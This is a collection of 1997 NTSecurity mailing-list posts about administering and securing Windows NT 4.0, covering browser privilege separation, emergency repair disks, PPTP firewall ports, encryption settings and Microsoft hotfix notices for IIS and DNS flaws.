to me is that any ActiveX or Java applet that I run has full run of 
the
system if it's run as me. It'd
be much safer to run it as sludge-man, who has minimal rights on my
machine. That way if I did
catch something malicious, it would only be able to do minimal 
damage.

Mike "Special Agent of Chaos" Swaim
Work: mpswaim@gdseng.com Home: swaim@phoenix.net
Disclaimer: I Lie

> -----Original Message-----
> From: James Strompolis [SMTP:Jim_St@msn.com]
> Sent: Monday, June 23, 1997 3:55 PM
> Cc: ntsecurity@iss.net
> Subject: RE: [NTSEC] Running browser as non-privlaged user
>
> su.exe raises the logged in user's privilege level to that of 
admin,
> they're
> interested in making the browser appear to be logged in as a lesser
> user while
> actually logged in as an Administrator. The goal is to keep 
malicious
>
> web-sites from glomming your admin password.
>
I Folks

Maybe I'm in the wrong mailing list, but I have BIG Problems with my 
OMNI TA 128 from Zyxel and NT 4.0 RAS here in europe.

Is anyone familiar with that stuff ?

Regards,
Patrik Eigenheer

Cantrade Bank Ltd. Phone CH+ (0)1 295 2587
Morgartenstrasse 1 Office patrik.eigenheer@cantrade.ch
8000 Zurich Privat patrik.eigenheer@netlink.ch
Switzerland
Hi,
 It's essential to create an emergency repair disk for each server/
workstation you have installed. If the boot.ini file or the registry
becomes corrupt then you are going to need at least this to recover.
This doesn't guarantee you'll get it back, but without it...
You create a ERD by running 'rdisk' from a command prompt. Don't
forget to tell the system to update the repair information before you
write the disk. Also re-create the repair disk whenever you change 
drivers, installed cards etc. 

I have managed to recover several systems from a ERD! The one system
I didn't bother to update, died after installing SP3. Unfortunately it
resulted in a complete re-install. It's also a good idea when installing
SP's to allow the service utility to create a backup directory.

Hope this helps...

 Best regards John Gould

--
John Gould - Senior Systems Support Engineer
Power Innovations Limited, Manton Lane, Bedford, MK41 7BJ, England
PGP - Public key available
email: johng@powinv.co.uk
Tel: +44 1234 223002 Fax: +44 1234 223011
--

On Tue, 24 Jun 1997 mcarmody@ix.netcom.com wrote:

> I have been told that if the hard drive has been formatted NTFS, an ERD is 
> the only tool standing between a crashed machine, and loosing all data and 
> reloading NT (I was told this crash would be caused by deleting or 
> corrupting boot files, or other problems with booting caused by permissions 
> being incorrectly set). 
> 
> Is this true?
> 
NTFS or FAT, Don't matter which!
>
> Do I need an ERD for each and every server and workstation running NT?
>
Yes, I would. See above...
 
> Where does the ERD come from/how do I create it?
> 
> How often does this ERD need to be updated, and how do I do the updates?
> 
Run 'rdisk' as above
> 
I'd like to thank everyone for the help, but in trying to fix the problem I
somehow managed to trash something on the server so that I could not log-in
under any accounts. It happened when I tried to uninstall SP3. So I
*decided* it was a good time to reinstall everything, especially since my
backups on Iomega Jaz cartridges wouldn't restore. Oh well... tomorrow I
switch backups to an 8MM dat drive and then a double back and I try to
install RAS and PPTP. 

Anyway, thanks again for the help.
Karen
> If the boot.ini file or the registry
 > becomes corrupt then you are going to need at least this to recover.
The boot.ini file is not part of the ERD. 
I agree that an ERD is helpful (most of the time), but I would add a
boot floppy disk. If the boot.ini file is missing and you don't have a boot
floppy (or another NT machine) you cannot restart the system.

The boot floppy should be mandatory when you have a boot partition mirrored
by NT.

Nadia Pitacco
 TC Systems SA
------------------------------------------------------------------------------------------------------
Nadia Pitacco - TC Systems SA
via San Gottardo 77 - 6900 Massagno Switzerland
Tel. +41-91-9602545 Fax. +41-91-9663310 E-mail: tcch@tc-systems.com

Swaim, Mike wrote:
> While a goal may be to keep sites from grabbing your password,
> something that's more important
> to me is that any ActiveX or Java applet that I run has full run of the
> system if it's run as me. It'd

Java applets run in sandbox, don't forget it. So it's hopefully not
so bad to have them enabled. It _virtually_ cannot do anything 
harmful/malicious on machine such as reading/writing files or such. 
Java applets can do bad things just if browser doesn't implement sandbox
correctly or sandbox is disabled (Am I really right here ?).
It's not true for ActiveX, of course.

> be much safer to run it as sludge-man, who has minimal rights on my
> machine. That way if I did
> catch something malicious, it would only be able to do minimal damage.
> 

And how you save files downloaded by browser ? It's a bit uncomfortable
to go through *{/tmp|C:\TEMP} with saves.

The best is to browse w/ ActiveX & others disabled. 

jd

---
Jaromir Dolecek ICS MU, Botanicka 68A, Brno, 60200, Czech Rep.
dolecek@ics.muni.cz Tel.: +42-5-4151 2266
http://www.ics.muni.cz/~dolecek/
-------------------------------------------------------------------------------
It is better never to have been born. But who among us has such luck?
One in a million, perhaps.

The key for making changes to the local desktop is that the domain userid
must be in the local administrators group. Log on locally, after joining
the domain, and run user manager. Open up your Administrator's group.
Add an entry, browsing the user account listing for the domain, and
select the machine owner. This will put an entry into the local
administrators group in the form of DOMAINNAME\username. Now log into
the domain with the id of the user and they should have permission
to make changes to their local desktop.

 -----------------------------------------------------------------
| John Meadows | email: jmeadows@teir.com |
| TEIR | Voice: 703.736.1734 |
| 205 Van Buren Street, Suite 300 | Fax: 703.736.1800 |
| Herndon, VA 22070 | |
 -----------------------------------------------------------------

On Tue, 24 Jun 1997, Robert Barnes wrote:

> I was stuck with a very annoying problem last night!
> 
> A customer installed NT 4.0 WKS on a machine about 3 months
> ago, but did not join it to their domain, instead they used
> a workgroup with the same name as the domain.
> 
> They are now installing Exchange and so I come on the scene,
> asking them to join the machine into the domain so Exchange
> Client can use network security.
> 
> Firstly we could not swap directly from a workgroup to a domain
> with the same name, so we swapped to workgroup WORKGROUP first
> and then to the domain. Logged in as the same user name as always,
> but now from the domain and not the local machine, so a new user profile
> was created.
> 
> The problem is that user can't change any desktop settings, for instance
> drive mappings can be made, but not permanent ones. A message pops
> up saying we are unable to save changes.
> 
> What is going on???
> 
> Thanks
> Rob Barnes
> 
> --
> Robert Barnes E-mail : rab@stallion.oz.au
> Phone : +61 7 3270 4268 (direct) Fax : +61 7 3270 4245
> Stallion Technologies
> 33 Woodstock Rd, Toowong, QLD 4066, Australia
> See our Web site at http://www.stallion.com/
> PGP Key ID: 1A4F626D
> Key Fingerprint: 02 A6 22 5E 26 D3 7C 4D E2 91 9E 15 AC EA B1 58
> For Public Key send mail with "Subject: sendpgpkey"
> or search Public Key Servers
> --
> 
> 

http://sangria.inlink.com ---> He is a great programmer!!!

----------
From: David LeBlanc[SMTP:dleblanc@iss.net]
Sent: martes 24 de junio de 1997 1:21
To: Steve Toomey
Cc: ntsecurity
Subject: Re: [NTSEC] Locking Floppy drive

At 08:13 6/18/97 +0100, you wrote:
>Actually I'd like to find a utility that allows access based on the
>users rights within the domain. Has anyione come across something that
>will do this?

Sang Choe created a utility to do this - I don't have his web page handy -
check DejaNews or Alta Vista to look him up - he's a prolific USENET poster,
so he should be easy to find.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |



Does any one know how to take backup in nt4.0 and which are the directeries and files to be backed . In case due do any problem ii should be able to start my another server with min. down time.

Dinesh sharma
Dinesh@bluestar.co.in 

PPTP is a mechanism for encapsulating PPP packets within IP packets. So
in your diagram,

NT client --modem------pstn/isdn------modem--NT/Server (RAS)----LAN

You'll notice that you have no IP segments, hence, PPTP would not work
in this scenario.

However, it should be pointed out that there is no value of PPTP in this
scenario anyway. PPTP adds nothing to PPP outside of allowing it to be
sent over IP mediums. You can create as encrypted a channel with as
strong authentication using PPP as you can with PPTP (no comment
intended here about how encrypted or how strong the authentication is).

So the question back to you is, why did you think you needed to use PPTP
in this configuration as opposed to simple Remote Access Services?

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

PPTP uses TCP1723 *and* IP Protocol 47 (Generic Routing Encapsulation -
GRE). Your device must be able to support both. Most, if not all, ISDN
routers should be able to handle this. Of course you'll have to ensure
that the remote receiving device allows these as well.

As for the use of NAT, I see no technical reason why this would not
work, but you should understand that your receiving device will be
obtaining an IP address from your remote server, and it is that address
that will be used as your gateway on your local network. The original
source addresses of the clients on your LAN, however, will not be
translated by your NAT features in the Netopia ISDN router and will
appear across your PPTP gateway unaltered. The router is going to
translate only the IP address of your PPTP client *strictly for the
purposes of PPTP control and delivery of the encapsulated PPP traffic*.
Since the IP traffic from your LAN is encapsulated and sent as PPP data
through your PPTP tunnel, it is unaffected by NAT at the router (the
*real* source addresses of your LANs IP traffic is not the source
address that NAT will translate).

So if the remote network cannot deal with RFC1918 addressing coming from
your PPTP connection, you will be unsuccessful in getting this to work.
Alternatives of how to make this work vary depending greatly on your
actual config and what you're trying to achieve.

I assume you are trying this with Routing and Remote Access Services
(formerly called Steelhead) and not simply PPTP from the base NT 4.0
installation?

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

>I know PPTP doesn't work through the Remote Winsock Proxy - I tried it.
>It ignores the RWS indirection and dumps packets onto the local network
>directly.

Well, its not exactly ignoring RWS, you just can't remote IP Protocol 47
(GRE) packets through MS Proxy. One possible solution might be to
install Routing and RAS (nee Steelhead) on the MS Proxy server itself
and let it act as the demand-dial router for where ever you are trying
to connect PPTP to/from. The only purpose I could see for trying to get
PPTP out from behind an MS Proxy box would be to connect to another
office, in which case having it at the MS Proxy box makes sense
(although the security of such a box would have to be carefully
examined). 

I've never liked scenarios where tunneling is being done through a
Firewall, it leaves the traffic dumped beyond your rules processing
facilities making them completely LAN to LAN. While many may want this,
I'd still like to be able to filter on some conditions anyway (like
allowable source address and usually some restrictions on
services/servers). Altavista Tunnel suffers from this, whereas Check
Point's SecuRemote does not. Having your Tunnel end on your Firewall,
and then allowing the Firewall to filter on the inbound un-tunneled
traffic, is by far the better solution imo.

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

>Perhaps this is one for the firewall list, but I'll see if anyone knows
this
>one - what port(s) would PPTP run across? If I wanted to allow PPTP to
come
>in through a firewall to a PPTP server, what ports do I need to leave
open?

David,

I noticed that nobody answered this question correctly on the list. PPTP
does use TCP1723 as someone pointed out, but this is only for the
control channel. The actual delivery of packets from LAN to LAN or
Client to LAN is done over GRE, IP protocol 47, or Generic Routing
Encapsulation. GRE is also used for some Multicast implementations.

So simply opening TCP1723 will not allow PPTP to work, although it may
appear to set up a successful session. The control channel establishes a
mechanism for the two boxes to negotiate GRE traffic, and once
established, traffic is pumped over IP 47.

For those unfamiliar with the concept of IP Protocols, TCP is an IP
Protocol, so is UDP, as is ICMP (traceroute, ping). Each have their own
protocol numbers. Many people confuse this with Port numbers, which are
a subset number system for the TCP and UDP protocol distinctly different
from IP Protocol numbers. If you look in the TCPIP/Advanced/Security
settings option in NT 4.0, you'll see the ability to filter on TCP, UDP,
or IP.

>Anyone know of good/bad ways of doing this?

The problem today is that there is no proxy available for PPTP. By
rights, it should be simple enough to make one. GRE packets should be
disallowed from any client which does not have an established TCP1723
session, and ideally the proxy would dynamically open IP 47 to/from the
remote host only on receipt/delivery of packets. Pretty straight
forward, but nobody has bothered yet. PPTP is not an accepted standard
and is likely to be dropped in favor of the more widely accepted L2TP
mechanism (very similar), so this probably explains Firewall vendor's
reluctance to do anything with PPTP.

If you were planning on setting up a dedicated PPTP server, one could
consider using the NT 4.0 PPTP filtering mechanism. This would have you
place an NT box exposed to the Internet and your LAN, and the filtering
would prevent anything other than TCP1723 and IP 47 from flowing through
it. The idea makes sense, and its reasonably secure from an IP
perspective, the problem comes in that you then leave your NT auth dB
open to the Internet to attempt to crack since you have no mechanism to
filter inbound connection attempts. I'd say that until we have
certificates in use on MS clients and servers, it probably doesn't make
sense to implement this. I'm playing with Security Dynamics ACE/Server
and ACE/Clients for NT to see if I can get the session authenticated
with a hardware token before your NT logon, which would significantly
improve the security of such a configuration.

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

Here's a weird question. I have a pretty clean NT 4.0 workstation system that I have just finished installing. I had done everything up until now using the administrator account and privileges since I was installing, etc. When I created some regular user accounts, the accounts cannot log in. The error given is that the account doesn't have permission to log into *this* workstation. This is a stand alone workstation in a small workgroup with 1 or 2 other NTWS systems (which work fine). Since this is not in a domain, there is no provision to set workstation by workstation login privileges as with domains.

The admin accounts can always log in. My inclination is that I can log in as admin because something is confused and NT is letting the admin accounts in, overriding or ignoring whatever the error condition is that might prevent less privileged logins.

Details:

NT workstation 4.0 sp3
Operating outside a domain
User accounts are valid and not disabled, nothing obvious like that
Admin accts work fine
User, power user accounts don't work

There must be some permission that I have set incorrectly, or that NT has decided to help me by setting for me.

Any help would be appreciated,

Tom


Tom Kiernan
Senior Software Engineer
Online Resources and Communications Corporation
tkiernan@orcc.com
www.orcc.com



I didn't see it either - he's got a floplock service that does this. Try
mailing him and asking.

At 15:21 6/24/97 +0100, Steve Toomey wrote:
>I don't see any mention of this util on this site...? Where exactly is
>it
>
>Thanks
>Steve
>
>
>Alvaro Redondo wrote:
>> 
>> http://sangria.inlink.com ---> He is a great programmer!!!
>> 
>> ----------
>> From: David LeBlanc[SMTP:dleblanc@iss.net]
>> Sent: martes 24 de junio de 1997 1:21
>> To: Steve Toomey
>> Cc: ntsecurity
>> Subject: Re: [NTSEC] Locking Floppy drive
>> 
>> At 08:13 6/18/97 +0100, you wrote:
>> >Actually I'd like to find a utility that allows access based on the
>> >users rights within the domain. Has anyione come across something that
>> >will do this?
>> 
>> Sang Choe created a utility to do this - I don't have his web page handy -
>> check DejaNews or Alta Vista to look him up - he's a prolific USENET poster,
>> so he should be easy to find.
>> 
>> -----------------------------------------------------------
>> David LeBlanc | Voice: (770)395-0150 x138
>> Internet Security Systems, Inc. | Fax: (404)395-1972
>> 41 Perimeter Center East | E-Mail: dleblanc@iss.net
>> Suite 660 | www: http://www.iss.net/
>> Atlanta, GA 30328 |
>
>-- 
>--------------------------------------------------------------------
>Steve Toomey | EMail : toomeys@dircon.co.uk 
>London, UK | Home Page :
>Mobile : 44 (0)468 720960 | http://www.users.dircon.co.uk/~toomeys
>Office : 44 (0)171 392 3609 |
>--------------------------------------------------------------------
>
>
-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MICROSOFT NEWS 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MICROSOFT RESPONDS TO INTERNET INFORMATION SERVER DENIAL OF SERVICE
ISSUE
Microsoft has identified an IIS issue which can be exploited by a
malicious hacker, making IIS temporarily unavailable. It does not effect
Windows NT Server or comprimise sensitive data in any way. However, it
forces IIS to become unavailable for a short time and is easily remedied
by restarting the web server. Microsoft takes issues like these very
seriously and has responded rapidly by addressing the issue with a
permanent fix that prohibits this specific type of attack and also
records
the IP address of the attacker in a log file. For details on this issue,
visit: 
http://www.microsoft.com/iis/iisnews/hotnews/issue.htm

The Hot-fix for this specific issue, available on the Microsoft Web site
today at: 
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/iis-fix. 


-- 
---------------------------------------------------
Michael McKay | Phone: 212-695-5445
MasterNet, Inc. | Fax: 212-643-2384
134 W. 32nd St., Suite 400 | Email: mckaymi@dti.net
New York, NY 10016-3201 |
---------------------------------------------------

"Imagine, if you will, 
a world without hypothetical situations."


> update Hackers exploited a bug in Microsoft's (MSFT) server software,
> jamming the company's Web site since yesterday. 
> 
> The hackers are apparently exploiting a bug in Windows NT 4.0 running
> Microsoft's Internet Information Server version 3.0, in which the
> entire site is jammed by someone typing in a specific URL into a Web
> browser, according to Mike Nash, director of marketing for Windows NT
> server. 

After reading the announcement from Microsoft and the accompanying
Knowledge Base article, I think I've put things together. This is
not a bug, it's a (mis)feature.

Source is http://www.microsoft.com/iis/iisnews/hotnews/issue_tb.htm

According to Microsoft, a "very special URL" can bring down IIS.
They are careful to state that there is no one URL that works on
all IIS installations, but that the URL varies with the current
state of the server (current memory and current load, among other
unspecified data). Furthermore, MS states that "a program might
find the right URL sequence and cause the web server to stop running."

The KB article (linked from the URL above) states that the URL
is actually a CGI request that contains between 4 and 8Kb of data.

Putting this together and reading between the appropriate lines,
my guess is that:
 - This dynamically generated "shutdown" URL is used by
 IIS remote management. (It may even be used in normal
 from-the-console service shutdown, but I doubt it.)
 - One can apparently sniff these packets from the wire
 and deduce their format/contents.
 - If Joe Hacker can hammer IIS with iterations of this
 URL until he hits the right one, that implies that IIS
 does not (or did not, before the patch) authenticate the
 source of remote management URLs.
It is also possible that this is some "back door" that was never
closed, and that is has nothing to do with remote management.

I hear rumors that this particular DoS is already floating around
the underground in executable form (i.e. "What IIS site do you
want to shut down?") 

If anyone is in a position to verify that this URL nonsense is
built into the remote IIS management stuff, I'd like to hear it.

It looks like the hotfix is a patched W3SVC.DLL...the hotfix.inf
file include the comment "This fix is for the long URL parsing
Access Violation," which doesn't seem to mesh with either the
press release or the KB article. None of the publicly dissemi-
nated information mentions any sort of Access Violation error.

This *really* seems like some serious evasion...

--Wes



Hotfix for Microsoft Windows NT(R) DNS server to address "Cache
Pollution" security issues 
The DNS server in Windows NT uses a predictable sequence of query IDs
when resolving recursive queries. This allows an attacker to try and
guess the current and future sequence numbers and then use this
knowledge to spoof responses to recursive queries. In addition to this
"cache pollution" attack, the hotfix resolves some bugs in the DNS
server. 
To download the hotfix, visit the FTP site below: 
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixe
s-postSP3/dns-fix 

"Microsoft Windows 95 Update to Enhance Password Security" 
Addressing a security issue involving the vulnerability of network
passwords on computers running Microsoft Windows 95 to a malicious
program, Microsoft has provided a fix. Microsoft is not aware of any
instances where this vulnerability has been used to gain access to
customers' networks. For detailed information and to download the fix,
please go to this URL: 
http://www.microsoft.com/windows95/info/passwordmb.htm 

Consult the Microsoft Security Advisor for the latest updates. 
http://www.microsoft.com/security/


-- 
---------------------------------------------------
Michael McKay | Phone: 212-695-5445
MasterNet, Inc. | Fax: 212-643-2384
134 W. 32nd St., Suite 400 | Email: mckaymi@dti.net
New York, NY 10016-3201 |
---------------------------------------------------

"Imagine, if you will, 
a world without hypothetical situations."
>The question now is, do I install SP3 before or after this?

I recently came across an anomaly in the way Routing and RAS needs to be
installed in order to support "strong encryption", or 128-bit
encryption, on domestic versions of NT.

You need, in this order;

NT 4.0
SP3
Routing and RAS (Steelhead)
NDISWAN.SYS from SP3

If you add any services or devices, then you need to;

1. Reapply SP3
2. Update Routing and RAS (cp, network, services, select routing and
ras, click update)
3. Re-copy NDISWAN.SYS from...where ever (SP3 source)

Otherwise you end up with a version of NDISWAN.SYS from Routing and RAS
which only supports 40-bit encryption. Unfortunately they did not/could
not use SCHANNEL.dll like every other encryption service on NT seems to,
so you now have two sources of the encryption strength. Further, the
version of NDISWAN.SYS they made available on their web site is only
40-bit, so if you were using data encryption in RAS before, and
installed Routing and RAS, you are now all using 40-bit.

Thought you might like to know...

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html


 1) Can you describe the risks associated with running NetBeui? I read
 somewhere that NetBeui would create a back door into NT. Does anyone
 have more info. on this?

 2) Is the %sytemroot%\repair\sam._ updated as Ids and passwords
 change or does it only reflect access at time of install (so if
 passwords changed since install, then file not that helpful to
 hackers)?

 3) Are 'server' account types interractive and loginable?


 Thanks!

 Connie
 (CMBalodimos-Barry@bkb.com)
>Has anyone yet figured out how to FORCE only 128-bit authentication to
a PPTP server? I know that 128-bit service pack 2 or 3 will ALLOW
128-bit as long as the client is >using 128-bit as well, but even so the
server will still ALLOW and AUTHENTICATE a 40-bit user!!

Routing and RAS for NT (Steelhead) allows you to specify "Require data
encryption" and then "Require strong data encryption". "Require data
encryption" invokes 40-bit encryption, "Require strong data encryption"
forces the use of 128-bit encryption. Just what you wanted, no?

I've tested it, and it works. Please see my earlier post under the
heading "RE: [NTSEC] Final Release of MPR from microsoft (steelhead)"
for information about the order that you need to install files in order
to permit 128-bit encryption with Routing and RAS.

The option is also there in Dial-up Networking. I'm unsure if it was
there before the installation of Steelhead or not.

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

 


______________________________ Reply Separator _________________________________

> I have been told that if the hard drive has been formatted NTFS, an ERD is
> the only tool standing between a crashed machine, and loosing all data
> and reloading NT (I was told this crash would be caused by deleting or 
> corrupting boot files, or other problems with booting caused by 
> permissions being incorrectly set).
 
> Is this true?
 
> mcarmody@ix.netcom.com

As an aside to ERDs: There is a DOS utility that will mount and read NTFS. You 
could put it on a DOS boot-floppy.

 (http://www.ntinternals.com/ntfs130.zip)

This version only supports READING an NTFS disk.

Davi Ottenheimer
davi-ottenheimer@uiowa.edu
SSHd for Windows NT is planned for release in Q3 '97

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html


----------
From: John Fonseca[SMTP:xsv@idt.net]
Reply To: John Fonseca
Sent: Friday, June 06, 1997 9:34 AM
To: ntsecurity@iss.net
Subject: [NTSEC] sshd

Hi.

Is anyone aware of an sshd for NT?

Thanks.

John Fonseca 
finger xsv@idt.net for PGP public key



 Hi,
 
 I am looking into creating login scripts for my NT servers.
 Does anybody have some good sample login scripts or know where I can 
 find them.
 
 
 Thanks Keith. 
> >What security issues surround the NT multicast group 224.0.1.24? I see it
> >leaving an NT network onto the MBONE - even when nothing is participating
> >in a group. For now, I'm stopping it - but what is it for? What security
> >holes does it leave?

> Automatic configuration of WINS replication...
> New feature in 4.0

You'll excuse me if the thought of replication discoveries skittering
along the MBONE gives me just a tinge of pause.

I did a little digging yesterday, when I saw another recent message
about multicast and NT. I was wondering about additional multicast
facilities, like:

 - Does this also imply that my NT servers are seeing similar
 "replication hunts" from external machines via the MBONE?
 Exactly how much information goes out in this replication
 query? 
 - According to Microsoft, WfW/W95/WNT machines announce their
 names with a "NetBios multicast." If one enables NBT, does
 this create an IP multicast?
 - What other NT/95/whatever services use multicast?

Sheesh. I still can't figure out how so many folks say that NT is
ready for Internet deployment when it does stuff like this - quietly
shopping itself out for replication partners across the MBONE - and
not even informing you of the fact?

--Wes

 
> What do u do if u have the Internet explorer 4.0 ?
> So the "explorer.exe" starts as shell and with logged on user rights

 You must mean iexplore.exe? Explorer.exe is the usual nt40 shell.

> Any solusions ?

 Do not run iexplore as your shell? Use netscape? I wouldn't trust IE
anyway since it uses transparent NTLM (and SMB, but that can be
prevented) autentication, thus effectively givin away your hashed
password, username, domain- and hostnames etc.

-- 
Juha Jäykkä, juolja@utu.fi
> And how you save files downloaded by browser ? It's a bit uncomfortable
> to go through *{/tmp|C:\TEMP} with saves.

 Run the browser as John Doe and give John Doe write access to his own
home directory, but deny him tampering with existing files (i.e.
Add&Read or Add only).

-- 
Juha Jäykkä, juolja@utu.fi






Hi folks,


 I was wondering if anyone on this list knows a log/audit utility for
NT 4.0 server (like AuditTrack for NetWare).

Thanks,

Leo.


At 05:37 PM 6/23/97 -0400, Gerry Libertelli wrote:
[snip]

>of items on their machine. Be careful here tho. If the local
>administrators group is 
>also a part of the domain admin group, you could be inadvertantly allowing
>the user
>control of your whole domain.
>

You can't do that. You can't get the workstations local admin account or
local Administrators group back up into the domain. The pseudo-trust that
exists between the workstation and domain is only one-way and can't be made
two way.

Eric


>Gerry
>
>Gerry Libertelli
>Technical Director
>SmartMoney Interactive
>gerryl@smartmoney.com
>
>
>


============================================================================
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641

Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 
Ask him. His email address is there. I don't have this utility. I use of him a few others, but not this one.

Alvaro.

----------
From: Steve Toomey[SMTP:toomeys@dircon.co.uk]
Sent: martes 24 de junio de 1997 16:21
To: Alvaro Redondo
Cc: 'David LeBlanc'; 'NTSecurity'
Subject: Re: [NTSEC] Locking Floppy drive

I don't see any mention of this util on this site...? Where exactly is
it

Thanks
Steve


Alvaro Redondo wrote:
> 
> http://sangria.inlink.com ---> He is a great programmer!!!
> 
> ----------
> From: David LeBlanc[SMTP:dleblanc@iss.net]
> Sent: martes 24 de junio de 1997 1:21
> To: Steve Toomey
> Cc: ntsecurity
> Subject: Re: [NTSEC] Locking Floppy drive
> 
> At 08:13 6/18/97 +0100, you wrote:
> >Actually I'd like to find a utility that allows access based on the
> >users rights within the domain. Has anyione come across something that
> >will do this?
> 
> Sang Choe created a utility to do this - I don't have his web page handy -
> check DejaNews or Alta Vista to look him up - he's a prolific USENET poster,
> so he should be easy to find.
> 
> -----------------------------------------------------------
> David LeBlanc | Voice: (770)395-0150 x138
> Internet Security Systems, Inc. | Fax: (404)395-1972
> 41 Perimeter Center East | E-Mail: dleblanc@iss.net
> Suite 660 | www: http://www.iss.net/
> Atlanta, GA 30328 |

-- 
--------------------------------------------------------------------
Steve Toomey | EMail : toomeys@dircon.co.uk 
London, UK | Home Page :
Mobile : 44 (0)468 720960 | http://www.users.dircon.co.uk/~toomeys
Office : 44 (0)171 392 3609 |
--------------------------------------------------------------------



I don't see any mention of this util on this site...? Where exactly is
it

Thanks
Steve


Alvaro Redondo wrote:
> 
> http://sangria.inlink.com ---> He is a great programmer!!!
> 
> ----------
> From: David LeBlanc[SMTP:dleblanc@iss.net]
> Sent: martes 24 de junio de 1997 1:21
> To: Steve Toomey
> Cc: ntsecurity
> Subject: Re: [NTSEC] Locking Floppy drive
> 
> At 08:13 6/18/97 +0100, you wrote:
> >Actually I'd like to find a utility that allows access based on the
> >users rights within the domain. Has anyione come across something that
> >will do this?
> 
> Sang Choe created a utility to do this - I don't have his web page handy -
> check DejaNews or Alta Vista to look him up - he's a prolific USENET poster,
> so he should be easy to find.
> 
> -----------------------------------------------------------
> David LeBlanc | Voice: (770)395-0150 x138
> Internet Security Systems, Inc. | Fax: (404)395-1972
> 41 Perimeter Center East | E-Mail: dleblanc@iss.net
> Suite 660 | www: http://www.iss.net/
> Atlanta, GA 30328 |

-- 
--------------------------------------------------------------------
Steve Toomey | EMail : toomeys@dircon.co.uk 
London, UK | Home Page :
Mobile : 44 (0)468 720960 | http://www.users.dircon.co.uk/~toomeys
Office : 44 (0)171 392 3609 |
--------------------------------------------------------------------
I wasn't very adroit in my choice of wording regarding PPTP's position
wrt the IETF and vendors. A more correct statement would be something I
received in response to my message, namely;

>L2TP and PPTP are being merged at the IETF to create the "blessed"
>standard.
>
>Or, IPSEC will take over this space -- it allows tunnels to be created
>end-to-end, or firewall-to-firewall, or any combination thereof.

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

> -----Original Message-----
> From: Jaromir Dolecek [SMTP:dolecek@ics.muni.cz]
> Sent: Tuesday, June 24, 1997 7:36 AM
> To: ntsecurity@iss.net
> Subject: Re: [NTSEC] Running browser as non-privlaged user
> 
> >Swaim, Mike wrote:
> >> While a goal may be to keep sites from grabbing your password,
> >> something that's more important
> >> to me is that any ActiveX or Java applet that I run has full run of
> the
> >> system if it's run as me. It'd
> 
> >Java applets run in sandbox, don't forget it. So it's hopefully not
> >so bad to have them enabled. It _virtually_ cannot do anything 
> >harmful/malicious on machine such as reading/writing files or such. 
> >Java applets can do bad things just if browser doesn't implement
> sandbox
> >correctly or sandbox is disabled (Am I really right here ?).
> I was including Java more for compleatness than anything else. The
> browser
> itself could be the weak link.
> >It's not true for ActiveX, of course.
> 
> >> be much safer to run it as sludge-man, who has minimal rights on my
> >> machine. That way if I did
> >> catch something malicious, it would only be able to do minimal
> damage.
> >> 
> >
> >And how you save files downloaded by browser ? It's a bit
> uncomfortable
> >to go through *{/tmp|C:\TEMP} with saves.
> Give sludgeman write access to a download directory, and save things 
> there. That's what I generally do in real life. Once it's downloaded,
> I may 
> then stick the a file somewhere else, but generally I download
> to either my desktop (work) or a download directory (home)
> 
> >The best is to browse w/ ActiveX & others disabled. 
> Which wouldn't do squat against the recent Netscape bug.
> 
> Mike "Special Agent of Chaos" Swaim
> Work: mpswaim@gdseng.com Home: swaim@phoenix.net
> Disclaimer: I Lie
> 
Or, you could use the IE4 "zones" so that for any site outside (e.g.)
your corporation you'll only use anonymous access and won't download or
run any code, etc. That's how the default settings come -- everythihg in
the "untrusted" zone.

> ----------
> From: Swaim, Mike[SMTP:mpswaim@gdseng.com]
> Reply To: Swaim, Mike
> Sent: Tuesday, June 24, 1997 7:36 AM
> To: 'ntsecurity@iss.net'
> Subject: RE: [NTSEC] Running browser as non-privlaged user
> 
> Don't run explorer 4 as your shell. I know that I won't.
> 
> Mike "Special Agent of Chaos" Swaim
> Work: mpswaim@gdseng.com Home: swaim@phoenix.net
> Disclaimer: I Lie
> 
> > -----Original Message-----
> > From: Eigenheer Patrik, EIP
> [SMTP:Patrik.Eigenheer@cantrade.ch]
> > Sent: Tuesday, June 24, 1997 12:32 AM
> > To: 'Swaim, Mike'; 'ntsecurity@iss.net'
> > Subject: RE: [NTSEC] Running browser as non-privlaged user
> > 
> > HI "Special Agent of Chaos"
> > 
> > What do u do if u have the Internet explorer 4.0 ?
> > So the "explorer.exe" starts as shell and with logged on user rights
> 
> > :-)
> > So u can't start the application with the "su.exe" and all 
> > subscribions (java applets) are running with logged on user rights
> !!!
> > 
> > :-(
> > 
> > Any solusions ?
> > 
> > Regards,
> > Patrik Eigenheer
> > 
